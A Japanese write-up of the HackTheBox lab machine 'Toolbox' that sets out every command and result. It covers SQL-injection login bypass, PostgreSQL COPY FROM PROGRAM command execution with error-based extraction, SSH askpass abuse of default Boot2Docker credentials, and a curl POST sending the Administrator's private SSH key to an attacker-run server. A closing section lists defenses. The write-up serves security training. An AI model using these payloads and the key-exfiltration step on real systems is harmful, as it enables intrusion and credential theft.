HackTheBox: Toolbox — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 22/ssh, 443/https, 445, 5985/winrm
→
21/ftp, 22/ssh, 443/https, 445, 5985/winrm
FTP匿名ログイン
docker-toolbox.exe発見
→
docker-toolbox.exe発見
SSL証明書CN
admin.megalogistic.com
→
admin.megalogistic.com
PostgreSQL SQLi
admin’ or 1=1–
→
admin’ or 1=1–
ダッシュボード認証バイパス
→
COPY FROM PROGRAM
Dockerコンテナ内RCE
→
Dockerコンテナ内RCE
postgresユーザー → user.txt ✓
→
172.17.0.1(Boot2Docker VM)
docker:tcuser SSH askpass
→
docker:tcuser SSH askpass
/c/Users経由Windowsホスト
Administrator id_rsa窃取
→
Administrator id_rsa窃取
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.96.171 nmap -sV -sC -p 21,22,443,445,5985 10.129.96.171
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp FileZilla ftpd 0.9.60 beta 22/tcp open ssh OpenSSH for_Windows_7.7 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open https Apache httpd 2.4.38 445/tcp open microsoft-ds 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0
🚨
重要発見: SSHバナーは
OpenSSH for_Windows、
つまりホストOSはWindowsだが、ポート443のバナーは
Apache 2.4.38(Linux系の典型的な組み合わせ)——これは
Windows上でDockerコンテナがLinuxベースのWebサーバーをホスト
している構成を強く示唆する。
FTP匿名ログイン
BASH
ftp 10.129.96.171 # Name: anonymous ftp> ls ftp> get docker-toolbox.exe
RESULT
230 Login successful.
docker-toolbox.exe
✅
FTP匿名アクセス許可! 配布されている
docker-toolbox.exeから、このマシンが
Docker Toolbox(VirtualBox上でBoot2Docker Linux VM
を動かしWindowsからDockerを使えるようにする古い仕組み)を使って
いることが確定。これは後のピボット経路の重要な伏線。
SSL証明書からvhost発見
BASH
openssl s_client -connect 10.129.96.171:443 </dev/null 2>/dev/null \ | openssl x509 -noout -subject
RESULT
subject=CN = admin.megalogistic.com
BASH
echo "10.129.96.171 admin.megalogistic.com" | sudo tee -a /etc/hosts
PHASE 2
PostgreSQL SQLインジェクションによる認証バイパス
ログインフォームの確認
BASH
curl -sk https://admin.megalogistic.com/ | grep -i "form\|login"
RESULT
<h2>MegaLogistics Admin Portal</h2> <form method="post"> <input type="text" name="username"> <input type="password" name="password"> </form>
クラシックSQLインジェクションの試行
BASH (リダイレクトを追わず、Locationヘッダーを確認)
curl -sk -i --max-redirs 0 -X POST https://admin.megalogistic.com/ \ --data-urlencode "username=admin' or 1=1--" \ --data-urlencode "password=x"
RESULT
HTTP/1.1 302 Found
Location: dashboard.php
✅
認証バイパス成功! バックエンドのSQL文に対する
プリペアドステートメント未使用のため、ユーザー名欄への
' or 1=1--注入がそのまま有効になった。
302のLocationヘッダーがdashboard.phpに
なっている点で認証成功を判定できる(ログイン失敗時は
login.php?error等が返る)。
PHASE 3
PostgreSQL COPY FROM PROGRAM によるRCE & user.txt取得
脆弱性の仕組み — PostgreSQLのCOPY FROM PROGRAM
NOTE
認証バイパスに使ったSQLiポイントは、バックエンドDBがPostgreSQLで スタック済みクエリ(;で区切った複数文)を実行できる実装だった。 PostgreSQLのスーパーユーザー/DBA権限を持つDB接続ユーザーであれば、 標準のCOPY文に"FROM PROGRAM '<シェルコマンド>'"という構文を使うことで、 **シェルコマンドの出力をテーブルへ直接取り込める**(=任意コマンド実行の 踏み台になる)。本検証ではこれを使い、結果を直接読み取るのではなく エラーベースの抽出(CASTで意図的に型エラーを起こし、PHPの警告メッセージに 値を混入させて読み取る)を併用した。
SQL (認証バイパス時の注入欄にスタッククエリとして追加)
'; CREATE TABLE cmd_exec(output text); COPY cmd_exec FROM PROGRAM 'id'; --
エラーベース抽出でuser.txtを読み取る
NOTE
COPY FROM PROGRAMの実行結果自体はHTTPレスポンスへ直接反映されないため、 別の経路で値を取り出す必要がある。意図的に文字列を整数へCASTさせる PostgreSQLエラーを発生させると、PHP側のエラーハンドラがそのエラー メッセージ(キャストしようとした文字列の値を含む)をそのままページへ 出力してしまう仕様を利用する。
SQL (エラーベース抽出のペイロード例)
'; SELECT CAST((SELECT array_to_string(array_agg(output), ',') FROM cmd_exec) AS INTEGER); --
RESULT (PHPの警告メッセージに混入する形で返る)
Warning: pg_query(): ERROR: invalid input syntax for integer: "uid=70(postgres) gid=70(postgres) groups=70(postgres)" in <b>...
✅
RCE成功! Dockerコンテナ内で
postgres
ユーザーとしてコマンドが実行できている。同じ手法で
cat /var/lib/postgresql/user.txtを実行し内容を
読み取る。
RESULT (user.txt、本検証の実際の出力)
f0183e44378ea9774433e2ca6ac78c6a
user.txt — postgres (Dockerコンテナ内, /var/lib/postgresql/user.txt)
f0183e44378ea9774433e2ca6ac78c6a
PHASE 4
Boot2Docker VMピボット — Windowsホストroot.txt取得
Docker Toolboxのネットワーク構成を理解する
NOTE
Docker Toolboxは、Windows上にVirtualBoxで軽量Linux VM(Boot2Docker)を 作成し、その中でDockerデーモンを動かす設計。ブリッジ/NATされた Dockerコンテナ(今回の侵入先であるApache/PostgreSQLコンテナ)から 見ると、Boot2Docker VM自身は常に固定のゲートウェイアドレス **172.17.0.1**(Dockerのデフォルトブリッジにおけるホスト側アドレス)で 到達できる。Boot2Docker VM(docker:tcuserという既定の弱い資格情報で SSH可能)に入れれば、VirtualBoxの共有フォルダ機能経由で **WindowsホストのCドライブが/c/配下にマウントされている**ため、 そこからWindows側のファイルへアクセスできる。
BASH (COPY FROM PROGRAM経由でBoot2Dockerへのping確認)
# COPY FROM PROGRAM で実行 ping -c 1 172.17.0.1
非対話SSH用askpassスクリプトの設置
NOTE
COPY FROM PROGRAM経由のコマンド実行には擬似端末(TTY)が割り当てられない ため、通常のパスワードプロンプトへの対話入力ができない。SSHの SSH_ASKPASS機構(パスワード入力をGUIプログラムへ委譲する仕組み)を 悪用し、常に固定パスワードを返す偽スクリプトを用意することで 非対話的にパスワード認証を突破する。
SQL (COPY FROM PROGRAMでaskpassスクリプトを書き込む)
'; COPY cmd_exec FROM PROGRAM 'printf "#!/bin/sh\necho tcuser\n" > /tmp/ap.sh && chmod +x /tmp/ap.sh'; --
BASH (SSH_ASKPASS環境変数を使った非対話SSH、COPY FROM PROGRAM経由で実行)
SSH_ASKPASS=/tmp/ap.sh DISPLAY=:99 SSH_ASKPASS_REQUIRE=force \ ssh -o StrictHostKeyChecking=no docker@172.17.0.1 \ "cat /c/Users/Administrator/.ssh/id_rsa"
⚠️
実装上の注意: OpenSSH 7.9以降は
SSH_ASKPASS_REQUIRE=force
を明示しないと、TTYの無い環境ではaskpassスクリプトを呼ばずに
単純に認証失敗してしまう。DISPLAY変数も(実際には
Xサーバーが無くても)askpassの呼び出し条件を満たすために設定する。
AdministratorのSSH秘密鍵を窃取してroot.txt取得
NOTE
Boot2Docker VM経由で取得したid_rsaの内容は、COPY FROM PROGRAMの出力を エラーメッセージ経由で少しずつ読み出す都合上、改行が失われ1行の 長い文字列として得られることが多い。64文字ごとに折り返して正しい PEM形式に整形し直す必要がある。本検証ではAttacker側に軽量HTTPサーバー を立て、ターゲットからcurl POSTで鍵データを直接外部送信させる方式を 採用した。
BASH (Kali側で受信用HTTPサーバーを起動)
python3 -m http.server 9876 & # 簡易的には受信用にnc等を使ってもよい
BASH (Boot2Docker VM上からid_rsaをKaliへPOST送信、SSH経由で実行)
SSH_ASKPASS=/tmp/ap.sh DISPLAY=:99 SSH_ASKPASS_REQUIRE=force \ ssh docker@172.17.0.1 \ "curl -s -X POST --data-binary @/c/Users/Administrator/.ssh/id_rsa http://10.10.15.200:9876/"
BASH (受信した鍵を正しいPEM形式へ整形)
cat received_key.txt | tr -d '\n ' | sed 's/-----BEGIN[A-Z ]*KEY-----//; s/-----END[A-Z ]*KEY-----//' \
| fold -w 64 > body.txt
{ echo "-----BEGIN RSA PRIVATE KEY-----"; cat body.txt; echo "-----END RSA PRIVATE KEY-----"; } > administrator_id_rsa
chmod 600 administrator_id_rsa
BASH
ssh -i administrator_id_rsa administrator@10.129.96.171 \ "type C:\Users\Administrator\Desktop\root.txt"
RESULT (本検証の実際の出力)
cc9a0b76ac17f8f475250738b96261b3
✅
root化成功! VirtualBox共有フォルダ経由でWindows
ホスト側ファイルシステムへ到達できた点が、本マシン最大の
「コンテナ境界を越えたピボット」ポイント。Administratorの
SSH秘密鍵を直接窃取することで、Windowsホストの最高権限へ
到達した。
root.txt — Administrator (Boot2Docker経由でSSH鍵窃取)
cc9a0b76ac17f8f475250738b96261b3
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — postgres (Dockerコンテナ内)
f0183e44378ea9774433e2ca6ac78c6a
root.txt — Administrator (Boot2Docker経由でSSH鍵窃取)
cc9a0b76ac17f8f475250738b96261b3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス | FileZilla ftpd | 内部構成情報(Docker Toolbox使用)の漏洩 | High | docker-toolbox.exeから後続攻撃の設計を推測 |
| SQLインジェクション(認証バイパス) | MegaLogistics Admin Portal ログインフォーム | 未認証での管理画面突破 | Critical | username欄への’ or 1=1–注入でSQL文を改変 |
| PostgreSQL COPY FROM PROGRAM | DB接続ユーザー(DBA権限) | リモートコード実行 (postgresユーザー) | Critical | スタッククエリでCOPY FROM PROGRAMを発火、エラーベース抽出で出力取得 |
| Docker Toolbox既定資格情報 + VirtualBox共有フォルダ | Boot2Docker VM (172.17.0.1, docker:tcuser) | コンテナ境界を超えたWindowsホストへのピボット | High | 固定ゲートウェイIPへSSH askpass経由でログインし、共有フォルダ(/c/)経由でAdministrator SSH鍵を窃取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, FTP匿名ログイン, SSL証明書CN | 21/ftp, 443/https(admin.megalogistic.com)、Docker Toolbox使用の確証 |
| 2 | 認証バイパス | PostgreSQL SQLi | 管理ダッシュボードへのアクセス |
| 3 | RCE | COPY FROM PROGRAM + エラーベース抽出 | user.txt (postgres, コンテナ内) |
| 4 | ピボット+権限昇格 | Boot2Docker SSH → /c/共有フォルダ → Administrator鍵窃取 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTPサーバーの匿名アクセスが有効で内部ツール配布ファイルが公開されている | 本番環境ではFTP匿名アクセスを無効化する。内部用配布ファイルを公開FTPへ置かない。 |
| ログインフォームのSQLクエリがプリペアドステートメント未使用でSQLインジェクション可能 | 全てのDB操作をパラメータ化クエリで実装する。入力値検証とWAFを併用する。 |
| アプリケーション用PostgreSQL接続ユーザーに過剰な権限(COPY FROM PROGRAMが使えるスーパーユーザー相当権限)が付与されている | アプリケーション用DBユーザーは必要最小限の権限(SELECT/INSERT/UPDATE等)のみとし、スーパーユーザー権限を付与しない。 |
| Docker ToolboxのBoot2Docker VMに既定の弱い資格情報(docker:tcuser)が残り、VirtualBox共有フォルダ経由でホストファイルシステムへ到達可能 | Docker Toolboxのような古い仮想化レイヤーの既定資格情報を必ず変更する。コンテナ・VM・ホスト間の共有フォルダは最小限の範囲に限定する。古いDocker Toolbox自体を最新のネイティブDocker Desktopへ移行することも検討する。 |

